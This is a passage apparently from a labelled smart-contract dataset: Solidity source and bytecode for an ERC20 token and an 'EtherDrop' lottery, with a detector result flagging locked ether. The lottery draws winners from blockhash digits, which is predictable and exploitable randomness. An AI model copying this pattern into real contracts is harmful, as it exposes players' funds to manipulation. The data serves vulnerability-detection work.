owner = address(0); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract LikeBitToken is CappedToken, PausableToken { string public constant name = "LikeBitToken"; // solium-disable-line uppercase string public constant symbol = "LBT"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 0.49 * 30 * 10000 * 10000 * (10 ** uint256(decimals)); uint256 public constant MAX_SUPPLY = 30 * 10000 * 10000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() CappedToken(MAX_SUPPLY) public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint whenNotPaused public returns (bool) { return super.mint(_to, _amount); } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint whenNotPaused public returns (bool) { return super.finishMinting(); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner whenNotPaused public { super.transferOwnership(newOwner); } /** * The fallback function. */ function() payable public { revert(); } }
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461013757806306fdde0314610160578063095ea7b3146101ea57806318160ddd1461020e57806323b872dd146102355780632ff2e9dc1461025f578063313ce5671461027457806332cb6b0c1461029f578063355274ea146102b45780633f4ba83a146102c957806340c10f19146102e05780635c975abb14610304578063661884631461031957806370a082311461033d578063715018a61461035e5780637d64bcb4146103735780638456cb59146103885780638da5cb5b1461039d57806395d89b41146103ce578063a9059cbb146103e3578063d73dd62314610407578063dd62ed3e1461042b578063f2fde38b14610452575b600080fd5b34801561014357600080fd5b5061014c610473565b604080519115158252519081900360200190f35b34801561016c57600080fd5b50610175610483565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101af578181015183820152602001610197565b50505050905090810190601f1680156101dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f657600080fd5b5061014c600160a060020a03600435166024356104ba565b34801561021a57600080fd5b506102236104de565b60408051918252519081900360200190f35b34801561024157600080fd5b5061014c600160a060020a03600435811690602435166044356104e4565b34801561026b57600080fd5b5061022361050a565b34801561028057600080fd5b5061028961051a565b6040805160ff9092168252519081900360200190f35b3480156102ab57600080fd5b5061022361051f565b3480156102c057600080fd5b5061022361052f565b3480156102d557600080fd5b506102de610535565b005b3480156102ec57600080fd5b5061014c600160a060020a0360043516602435610592565b34801561031057600080fd5b5061014c6105dd565b34801561032557600080fd5b5061014c600160a060020a03600435166024356105e6565b34801561034957600080fd5b50610223600160a060020a0360043516610603565b34801561036a57600080fd5b506102de61061e565b34801561037f57600080fd5b5061014c61068c565b34801561039457600080fd5b506102de6106da565b3480156103a957600080fd5b506103b2610739565b60408051600160a060020a039092168252519081900360200190f35b3480156103da57600080fd5b50610175610748565b3480156103ef57600080fd5b5061014c600160a060020a036004351660243561077f565b34801561041357600080fd5b5061014c600160a060020a036004351660243561079c565b34801561043757600080fd5b50610223600160a060020a03600435811690602435166107b9565b34801561045e57600080fd5b506102de600160a060020a03600435166107e4565b60035460a060020a900460ff1681565b60408051808201909152600c81527f4c696b65426974546f6b656e0000000000000000000000000000000000000000602082015281565b60055460009060ff16156104cd57600080fd5b6104d78383610817565b9392505050565b60015490565b60055460009060ff16156104f757600080fd5b61050284848461087d565b949350505050565b6b04bff49bad7cbc827e00000081565b601281565b6b09b18ab5df7180b6b800000081565b60045481565b600354600160a060020a0316331461054c57600080fd5b60055460ff16151561055d57600080fd5b6005805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600354600090600160a060020a031633146105ac57600080fd5b60035460a060020a900460ff16156105c357600080fd5b60055460ff16156105d357600080fd5b6104d783836109f4565b60055460ff1681565b60055460009060ff16156105f957600080fd5b6104d78383610a50565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461063557600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a031633146106a657600080fd5b60035460a060020a900460ff16156106bd57600080fd5b60055460ff16156106cd57600080fd5b6106d5610b40565b905090565b600354600160a060020a031633146106f157600080fd5b60055460ff161561070157600080fd5b6005805460ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600381527f4c42540000000000000000000000000000000000000000000000000000000000602082015281565b60055460009060ff161561079257600080fd5b6104d78383610bc4565b60055460009060ff16156107af57600080fd5b6104d78383610ca5565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a031633146107fb57600080fd5b60055460ff161561080b57600080fd5b61081481610d3e565b50565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a038316151561089457600080fd5b600160a060020a0384166000908152602081905260409020548211156108b957600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156108e957600080fd5b600160a060020a038416600090815260208190526040902054610912908363ffffffff610dd316565b600160a060020a038086166000908152602081905260408082209390935590851681522054610947908363ffffffff610de516565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610989908363ffffffff610dd316565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600354600090600160a060020a03163314610a0e57600080fd5b60035460a060020a900460ff1615610a2557600080fd5b600454600154610a3b908463ffffffff610de516565b1115610a4657600080fd5b6104d78383610df8565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610aa557336000908152600260209081526040808320600160a060020a0388168452909152812055610ada565b610ab5818463ffffffff610dd316565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600354600090600160a060020a03163314610b5a57600080fd5b60035460a060020a900460ff1615610b7157600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b6000600160a060020a0383161515610bdb57600080fd5b33600090815260208190526040902054821115610bf757600080fd5b33600090815260208190526040902054610c17908363ffffffff610dd316565b3360009081526020819052604080822092909255600160a060020a03851681522054610c49908363ffffffff610de516565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610cd9908363ffffffff610de516565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600354600160a060020a03163314610d5557600080fd5b600160a060020a0381161515610d6a57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610ddf57fe5b50900390565b81810182811015610df257fe5b92915050565b600354600090600160a060020a03163314610e1257600080fd5b60035460a060020a900460ff1615610e2957600080fd5b600154610e3c908363ffffffff610de516565b600155600160a060020a038316600090815260208190526040902054610e68908363ffffffff610de516565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a72305820594d0cdced557f5252ac351cd9a6bafb8594a052829657bb5dc595596a42687b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,337
0x81b1ff50d5bca9150700e7265f7216e65c8936e6
pragma solidity ^0.4.20; /** * @author FadyAro * * 22.07.2018 * * */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, 'Contract Paused!'); _; } modifier whenPaused() { require(paused, 'Contract Active!'); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract EtherDrop is Pausable { uint constant PRICE_WEI = 2e16; /* * blacklist flag */ uint constant FLAG_BLACKLIST = 1; /* * subscription queue size: should be power of 10 */ uint constant QMAX = 1000; /* * randomness order construction conform to QMAX * e.g. random [0 to 999] is of order 3 => rand = 100*x + 10*y + z */ uint constant DMAX = 3; /* * this event is when we have a new subscription * note that it may be fired sequentially just before => NewWinner */ event NewDropIn(address addr, uint round, uint place, uint value); /* * this event is when we have a new winner * it is as well a new round start => (round + 1) */ event NewWinner(address addr, uint round, uint place, uint value, uint price); struct history { /* * user black listed comment */ uint blacklist; /* * user rounds subscriptions number */ uint size; /* * array of subscribed rounds indexes */ uint[] rounds; /* * array of rounds subscription's inqueue indexes */ uint[] places; /* * array of rounds's ether value subscription >= PRICE */ uint[] values; /* * array of 0's initially, update to REWARD PRICE in win situations */ uint[] prices; } /* * active subscription queue */ address[] private _queue; /* * winners history */ address[] private _winners; /* * winner comment 32 left */ bytes32[] private _wincomma; /* * winner comment 32 right */ bytes32[] private _wincommb; /* * winners positions */ uint[] private _positions; /* * on which block we got a winner */ uint[] private _blocks; /* * active round index */ uint public _round; /* * active round queue pointer */ uint public _counter; /* * allowed collectibles */ uint private _collectibles = 0; /* * users history mapping */ mapping(address => history) private _history; /** * get current round details */ function currentRound() public view returns (uint round, uint counter, uint round_users, uint price) { return (_round, _counter, QMAX, PRICE_WEI); } /** * get round stats by index */ function roundStats(uint index) public view returns (uint round, address winner, uint position, uint block_no) { return (index, _winners[index], _positions[index], _blocks[index]); } /** * * @dev get the total number of user subscriptions * * @param user the specific user * * @return user rounds size */ function userRounds(address user) public view returns (uint) { return _history[user].size; } /** * * @dev get user subscription round number details * * @param user the specific user * * @param index the round number * * @return round no, user placing, user drop, user reward */ function userRound(address user, uint index) public view returns (uint round, uint place, uint value, uint price) { history memory h = _history[user]; return (h.rounds[index], h.places[index], h.values[index], h.prices[index]); } /** * round user subscription */ function() public payable whenNotPaused { /* * check subscription price */ require(msg.value >= PRICE_WEI, 'Insufficient Ether'); /* * start round ahead: on QUEUE_MAX + 1 * draw result */ if (_counter == QMAX) { uint r = DMAX; uint winpos = 0; _blocks.push(block.number); bytes32 _a = blockhash(block.number - 1); for (uint i = 31; i >= 1; i--) { if (uint8(_a[i]) >= 48 && uint8(_a[i]) <= 57) { winpos = 10 * winpos + (uint8(_a[i]) - 48); if (--r == 0) break; } } _positions.push(winpos); /* * post out winner rewards */ uint _reward = (QMAX * PRICE_WEI * 90) / 100; address _winner = _queue[winpos]; _winners.push(_winner); _winner.transfer(_reward); /* * update round history */ history storage h = _history[_winner]; h.prices[h.size - 1] = _reward; /* * default winner blank comments */ _wincomma.push(0x0); _wincommb.push(0x0); /* * log the win event: winpos is the proof, history trackable */ emit NewWinner(_winner, _round, winpos, h.values[h.size - 1], _reward); /* * update collectibles */ _collectibles += address(this).balance - _reward; /* * reset counter */ _counter = 0; /* * increment round */ _round++; } h = _history[msg.sender]; /* * user is not allowed to subscribe twice */ require(h.size == 0 || h.rounds[h.size - 1] != _round, 'Already In Round'); /* * create user subscription: N.B. places[_round] is the result proof */ h.size++; h.rounds.push(_round); h.places.push(_counter); h.values.push(msg.value); h.prices.push(0); /* * initial round is a push, others are 'on set' index */ if (_round == 0) { _queue.push(msg.sender); } else { _queue[_counter] = msg.sender; } /* * log subscription */ emit NewDropIn(msg.sender, _round, _counter, msg.value); /* * increment counter */ _counter++; } /** * * @dev let the user comment 64 letters for a winning round * * @param round the winning round * * @param a the first 32 letters comment * * @param b the second 32 letters comment * * @return user comment */ function comment(uint round, bytes32 a, bytes32 b) whenNotPaused public { address winner = _winners[round]; require(winner == msg.sender, 'not a winner'); require(_history[winner].blacklist != FLAG_BLACKLIST, 'blacklisted'); _wincomma[round] = a; _wincommb[round] = b; } /** * * @dev blacklist a user for its comments behavior * * @param user address * */ function blackList(address user) public onlyOwner { history storage h = _history[user]; if (h.size > 0) { h.blacklist = FLAG_BLACKLIST; } } /** * * @dev get the user win round comment * * @param round the winning round number * * @return user comment */ function userComment(uint round) whenNotPaused public view returns (address winner, bytes32 comma, bytes32 commb) { if (_history[_winners[round]].blacklist != FLAG_BLACKLIST) { return (_winners[round], _wincomma[round], _wincommb[round]); } else { return (0x0, 0x0, 0x0); } } /* * etherdrop team R&D support collectibles */ function collect() public onlyOwner { owner.transfer(_collectibles); } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063259d33c1146109a05780633f4ba83a14610a2257806343d0ee5414610a395780634838d16514610a905780635c975abb14610ad357806361ed373b14610b0257806369db054c14610b4b5780637cd49fde14610bd65780638456cb5914610c015780638a19c8bc14610c185780638da5cb5b14610c58578063a876a8a014610caf578063b90e6bd814610cda578063e522538114610d50578063f2fde38b14610d67575b60008060008060008060008060149054906101000a900460ff1615151561016a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f436f6e747261637420506175736564210000000000000000000000000000000081525060200191505060405180910390fd5b66470de4df82000034101515156101e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f496e73756666696369656e74204574686572000000000000000000000000000081525060200191505060405180910390fd5b6103e86008541415610678576003965060009550600643908060018154018082558091505090600182039060005260206000200160009091929091909150555060014303409450601f93505b600184101515610387576030858560208110151561024f57fe5b1a7f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900460ff16101580156102fd5750603985856020811015156102b157fe5b1a7f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900460ff1611155b15610379576030858560208110151561031257fe5b1a7f0100000000000000000000000000000000000000000000000000000000000000027f010000000000000000000000000000000000000000000000000000000000000090040360ff1686600a0201955060008760019003975087141561037857610387565b5b838060019003945050610235565b60058690806001815401808255809150509060018203906000526020600020016000909192909190915055506064605a66470de4df8200006103e802028115156103cd57fe5b0492506001868154811015156103df57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915060028290806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508173ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156104b8573d6000803e3d6000fd5b50600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508281600501600183600101540381548110151561051357fe5b90600052602060002001819055506003600090806001815401808255809150509060018203906000526020600020016000909192600102909190915090600019169055506004600090806001815401808255809150509060018203906000526020600020016000909192600102909190915090600019169055507f100b7ea58f571f8818a9151f1f0642ee2f902ac44f5e861c631f2c74f0fd52c282600754888460040160018660010154038154811015156105cb57fe5b906000526020600020015487604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a1823073ffffffffffffffffffffffffffffffffffffffff16310360096000828254019250508190555060006008819055506007600081548092919060010191905055505b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816001015414806106f057506007548160020160018360010154038154811015156106e257fe5b906000526020600020015414155b1515610764576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f416c726561647920496e20526f756e640000000000000000000000000000000081525060200191505060405180910390fd5b8060010160008154809291906001019190505550806002016007549080600181540180825580915050906001820390600052602060002001600090919290919091505550806003016008549080600181540180825580915050906001820390600052602060002001600090919290919091505550806004013490806001815401808255809150509060018203906000526020600020016000909192909190915055508060050160009080600181540180825580915050906001820390600052602060002001600090919290919091505550600060075414156108ab5760013390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610906565b3360016008548154811015156108bd57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b7f46cdf5c7bee9f62b09f97b51dc76a3d6e195d2c16e2cebea047b2c14d3e9ce243360075460085434604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390a160086000815480929190600101919050555050505050505050005b3480156109ac57600080fd5b506109cb60048036038101908080359060200190929190505050610daa565b604051808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390f35b348015610a2e57600080fd5b50610a37610e2e565b005b348015610a4557600080fd5b50610a7a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f55565b6040518082815260200191505060405180910390f35b348015610a9c57600080fd5b50610ad1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fa1565b005b348015610adf57600080fd5b50610ae861105b565b604051808215151515815260200191505060405180910390f35b348015610b0e57600080fd5b50610b49600480360381019080803590602001909291908035600019169060200190929190803560001916906020019092919050505061106e565b005b348015610b5757600080fd5b50610b76600480360381019080803590602001909291905050506112d8565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183600019166000191681526020018260001916600019168152602001935050505060405180910390f35b348015610be257600080fd5b50610beb611481565b6040518082815260200191505060405180910390f35b348015610c0d57600080fd5b50610c16611487565b005b348015610c2457600080fd5b50610c2d6115b0565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b348015610c6457600080fd5b50610c6d6115d5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610cbb57600080fd5b50610cc46115fa565b6040518082815260200191505060405180910390f35b348015610ce657600080fd5b50610d25600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611600565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b348015610d5c57600080fd5b50610d65611851565b005b348015610d7357600080fd5b50610da8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611918565b005b60008060008084600286815481101515610dc057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600587815481101515610dfa57fe5b9060005260206000200154600688815481101515610e1457fe5b906000526020600020015493509350935093509193509193565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e8957600080fd5b600060149054906101000a900460ff161515610f0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f436f6e747261637420416374697665210000000000000000000000000000000081525060200191505060405180910390fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ffe57600080fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060008160010154111561105757600181600001819055505b5050565b600060149054906101000a900460ff1681565b60008060149054906101000a900460ff161515156110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f436f6e747261637420506175736564210000000000000000000000000000000081525060200191505060405180910390fd5b60028481548110151561110357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156111d3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f6e6f7420612077696e6e6572000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541415151561128e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f626c61636b6c697374656400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8260038581548110151561129e57fe5b906000526020600020018160001916905550816004858154811015156112c057fe5b90600052602060002001816000191690555050505050565b60008060008060149054906101000a900460ff16151515611361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f436f6e747261637420506175736564210000000000000000000000000000000081525060200191505060405180910390fd5b6001600a600060028781548110151561137657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015414151561145f576002848154811015156113f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660038581548110151561142f57fe5b906000526020600020015460048681548110151561144957fe5b906000526020600020015492509250925061147a565b60008060008292508160010291508060010290509250925092505b9193909250565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114e257600080fd5b600060149054906101000a900460ff16151515611567576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f436f6e747261637420506175736564210000000000000000000000000000000081525060200191505060405180910390fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000806000806007546008546103e866470de4df820000935093509350935090919293565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b60